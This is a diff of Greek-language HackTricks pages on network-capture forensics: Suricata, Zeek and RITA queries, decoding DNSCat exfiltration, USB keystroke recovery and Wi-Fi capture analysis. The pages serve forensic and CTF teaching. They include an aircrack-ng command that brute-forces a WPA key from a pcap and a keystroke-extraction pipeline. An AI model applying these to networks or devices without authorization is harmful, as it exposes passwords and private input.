echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||||
|
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||||
|
```
|
||||||
|
**Έλεγχος pcap**
|
||||||
|
|
||||||
|
Για να εξετάσετε ένα αρχείο pcap, μπορείτε να χρησιμοποιήσετε το εργαλείο `tcpdump` ή το `Wireshark`. Αυτά τα εργαλεία σάς επιτρέπουν να αναλύσετε την κίνηση του δικτύου και να εξάγετε πληροφορίες από το αρχείο pcap.
|
||||||
|
|
||||||
|
Για να ελέγξετε ένα αρχείο pcap με το `tcpdump`, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tcpdump -r file.pcap
|
||||||
|
```
|
||||||
|
|
||||||
|
Αυτή η εντολή θα εμφανίσει όλη την κίνηση του δικτύου που καταγράφηκε στο αρχείο pcap.
|
||||||
|
|
||||||
|
Για να ελέγξετε ένα αρχείο pcap με το `Wireshark`, απλά ανοίξτε το αρχείο pcap με το πρόγραμμα. Στη συνέχεια, μπορείτε να περιηγηθείτε στην κίνηση του δικτύου, να εφαρμόσετε φίλτρα και να αναλύσετε τα πακέτα που καταγράφηκαν.
|
||||||
|
|
||||||
|
Και τα δύο εργαλεία σάς παρέχουν τη δυνατότητα να εξετάσετε την κίνηση του δικτύου και να ανακαλύψετε πιθανές ασφαλείας προβλήματα ή ανωμαλίες.
|
||||||
|
```
|
||||||
|
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||||
|
```
|
||||||
|
### YaraPcap
|
||||||
|
|
||||||
|
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που
|
||||||
|
|
||||||
|
* Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http.
|
||||||
|
* Αποσυμπιέζει gzip οποιεσδήποτε συμπιεσμένες ροές
|
||||||
|
* Σαρώνει κάθε αρχείο με το yara
|
||||||
|
* Γράφει ένα αρχείο αναφοράς (report.txt)
|
||||||
|
* Προαιρετικά αποθηκεύει τα αντιστοιχισμένα αρχεία σε έναν φάκελο (Dir)
|
||||||
|
|
||||||
|
### Ανάλυση κακόβουλου λογισμικού
|
||||||
|
|
||||||
|
Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού:
|
||||||
|
|
||||||
|
{% content-ref url="../malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](../malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Zeek
|
||||||
|
|
||||||
|
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένα παθητικό, ανοικτού κώδικα αναλυτής κίνησης δικτύου. Πολλοί χειριστές χρησιμοποιούν το Zeek ως έναν Επιτήρητη Ασφάλειας Δικτύου (NSM) για να υποστηρίξουν έρευνες ύποπτων ή κακόβουλων δραστηριοτήτων. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα από εργασίες ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης της απόδοσης και της επίλυσης προβλημάτων.
|
||||||
|
|
||||||
|
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστείτε να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τις καταγραφές όπου βρίσκονται οι **πληροφορίες** για τα pcaps.
|
||||||
|
|
||||||
|
### Πληροφορίες συνδέσεων
|
||||||
|
```bash
|
||||||
|
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||||
|
#The longest connection might be of malware (constant reverse shell?)
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||||
|
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||||
|
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||||
|
|
||||||
|
|
||||||
|
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||||
|
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||||
|
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||||
|
|
||||||
|
#Get the number of connections summed up per each line
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 65.52.108.225 1 86222.4
|
||||||
|
10.55.100.107 111.221.29.113 1 86220.1
|
||||||
|
10.55.100.110 40.77.229.82 134 86160.1
|
||||||
|
|
||||||
|
#Check if any IP is connecting to 1.1.1.1
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||||
|
|
||||||
|
#Get number of connections per source IP, dest IP and dest Port
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||||
|
|
||||||
|
|
||||||
|
# RITA
|
||||||
|
#Something similar can be done with the tool rita
|
||||||
|
rita show-long-connections -H --limit 10 zeek_logs
|
||||||
|
|
||||||
|
+---------------+----------------+--------------------------+----------------+
|
||||||
|
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||||
|
+---------------+----------------+--------------------------+----------------+
|
||||||
|
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||||
|
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||||
|
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||||
|
|
||||||
|
#Get connections info from rita
|
||||||
|
rita show-beacons zeek_logs | head -n 10
|
||||||
|
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||||
|
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||||
|
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||||
|
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||||
|
```
|
||||||
|
### Πληροφορίες DNS
|
||||||
|
|
||||||
|
Οι πληροφορίες DNS (Domain Name System) αποτελούν σημαντικό μέρος της ανάλυσης κίνησης δικτύου. Ο DNS είναι ένα πρωτόκολλο που μετατρέπει τα ονόματα τομέων σε διευθύνσεις IP, επιτρέποντας έτσι την αναζήτηση και την πρόσβαση σε ιστοσελίδες.
|
||||||
|
|
||||||
|
Κατά την επιθετική ανάλυση, η εξέταση των πακέτων DNS μπορεί να παράσχει πολύτιμες πληροφορίες. Μπορείτε να εξετάσετε τα πακέτα DNS για να ανιχνεύσετε ενδείξεις κακόβουλης δραστηριότητας, όπως παραποίηση DNS, επιθέσεις DDoS ή ανεπιθύμητης αλληλογραφίας.
|
||||||
|
|
||||||
|
Για να εξετάσετε τα πακέτα DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Wireshark για να αναλύσετε την κίνηση δικτύου και να εξάγετε πληροφορίες σχετικά με τα ονόματα τομέων, τις διευθύνσεις IP και τις αντίστοιχες αναζητήσεις DNS.
|
||||||
|
|
||||||
|
Αναλύοντας τα πακέτα DNS, μπορείτε να ανακαλύψετε πιθανές ευπάθειες στο σύστημα, να εντοπίσετε κακόβουλο λογισμικό ή να αναγνωρίσετε ανεπιθύμητες επικοινωνίες με εξωτερικούς διακομιστές.
|
||||||
|
|
||||||
|
Συνοψίζοντας, η εξέταση των πακέτων DNS μπορεί να παράσχει σημαντικές πληροφορίες για την ανάλυση κίνησης δικτύου και την ανίχνευση κακόβουλων δραστηριοτήτων.
|
||||||
|
```bash
|
||||||
|
#Get info about each DNS request performed
|
||||||
|
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||||
|
|
||||||
|
#Get the number of times each domain was requested and get the top 10
|
||||||
|
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||||
|
|
||||||
|
#Get all the IPs
|
||||||
|
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||||
|
|
||||||
|
#Sort the most common DNS record request (should be A)
|
||||||
|
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||||
|
|
||||||
|
#See top DNS domain requested with rita
|
||||||
|
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||||
|
```
|
||||||
|
## Άλλα κόλπα ανάλυσης pcap
|
||||||
|
|
||||||
|
{% content-ref url="dnscat-exfiltration.md" %}
|
||||||
|
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="wifi-pcap-analysis.md" %}
|
||||||
|
[wifi-pcap-analysis.md](wifi-pcap-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="usb-keystrokes.md" %}
|
||||||
|
[usb-keystrokes.md](usb-keystrokes.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,57 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Εάν έχετε pcap με δεδομένα που **εξαφανίζονται από το DNSCat** (χωρίς κρυπτογράφηση), μπορείτε να βρείτε το εξαφανισμένο περιεχόμενο.
|
||||||
|
|
||||||
|
Χρειάζεστε μόνο να γνωρίζετε ότι τα **πρώτα 9 bytes** δεν είναι πραγματικά δεδομένα, αλλά σχετίζονται με την **επικοινωνία C\&C**:
|
||||||
|
```python
|
||||||
|
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||||
|
import struct
|
||||||
|
|
||||||
|
f = ""
|
||||||
|
last = ""
|
||||||
|
for p in rdpcap('ch21.pcap'):
|
||||||
|
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||||
|
|
||||||
|
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||||
|
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||||
|
if last != qry:
|
||||||
|
print(qry)
|
||||||
|
f += qry
|
||||||
|
last = qry
|
||||||
|
|
||||||
|
#print(f)
|
||||||
|
```
|
||||||
|
Για περισσότερες πληροφορίες: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||||
|
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||||
|
|
||||||
|
|
||||||
|
Υπάρχει ένα σενάριο που λειτουργεί με Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||||
|
```
|
||||||
|
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,43 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Εάν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (613).png>)
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να πάρετε το περιεχόμενο της επικοινωνίας που έγινε:
|
||||||
|
```bash
|
||||||
|
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||||
|
python3 usbkeyboard.py ./keystrokes.txt
|
||||||
|
```
|
||||||
|
Μπορείτε να βρείτε περισσότερες πληροφορίες και να βρείτε μερικά scripts για το πώς να αναλύσετε αυτό στους παρακάτω συνδέσμους:
|
||||||
|
|
||||||
|
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||||
|
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,68 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Έλεγχος BSSIDs
|
||||||
|
|
||||||
|
Όταν λάβετε ένα αρχείο καταγραφής του οποίου η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSID της καταγραφής με το _Wireless --> WLAN Traffic_:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (424).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (425).png>)
|
||||||
|
|
||||||
|
## Βίαιη Δύναμη
|
||||||
|
|
||||||
|
Ένας από τους στήλες αυτής της οθόνης υποδεικνύει εάν **βρέθηκε οποιαδήποτε πιστοποίηση μέσα στο pcap**. Εάν αυτό είναι το περιστατικό, μπορείτε να δοκιμάσετε να το βρείτε με βίαιη δύναμη χρησιμοποιώντας το `aircrack-ng`:
|
||||||
|
```bash
|
||||||
|
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||||
|
```
|
||||||
|
Για παράδειγμα, θα ανακτήσει τον κωδικό πρόσβασης WPA που προστατεύει ένα PSK (pre shared-key), ο οποίος θα απαιτηθεί αργότερα για την αποκρυπτογράφηση της κίνησης.
|
||||||
|
|
||||||
|
# Δεδομένα στα Beacons / Side Channel
|
||||||
|
|
||||||
|
Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα στα beacons ενός δικτύου Wifi**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το εξής: `wlan contains <ΟΝΟΜΑτουΔΙΚΤΥΟΥ>`, ή `wlan.ssid == "ΟΝΟΜΑτουΔΙΚΤΥΟΥ"` αναζήτηση μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλφαριθμητικές ακολουθίες.
|
||||||
|
|
||||||
|
# Εύρεση Άγνωστων Διευθύνσεων MAC σε Ένα Δίκτυο Wifi
|
||||||
|
|
||||||
|
Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που αποστέλλουν δεδομένα μέσα σε ένα δίκτυο Wifi**:
|
||||||
|
|
||||||
|
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||||
|
|
||||||
|
Εάν ήδη γνωρίζετε **διευθύνσεις MAC, μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτός: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||||
|
|
||||||
|
Αφού ανιχνεύσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το εξής: `wlan.addr==<διεύθυνση MAC> && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα εάν έχετε αποκρυπτογραφήσει την κίνηση.
|
||||||
|
|
||||||
|
# Αποκρυπτογράφηση Κίνησης
|
||||||
|
|
||||||
|
Επεξεργασία --> Προτιμήσεις --> Πρωτόκολλα --> IEEE 802.11--> Επεξεργασία
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (426).png>)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,122 @@
|
||||||
|
# Κόλπα Wireshark
|
||||||
|
|
||||||
|
## Κόλπα Wireshark
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
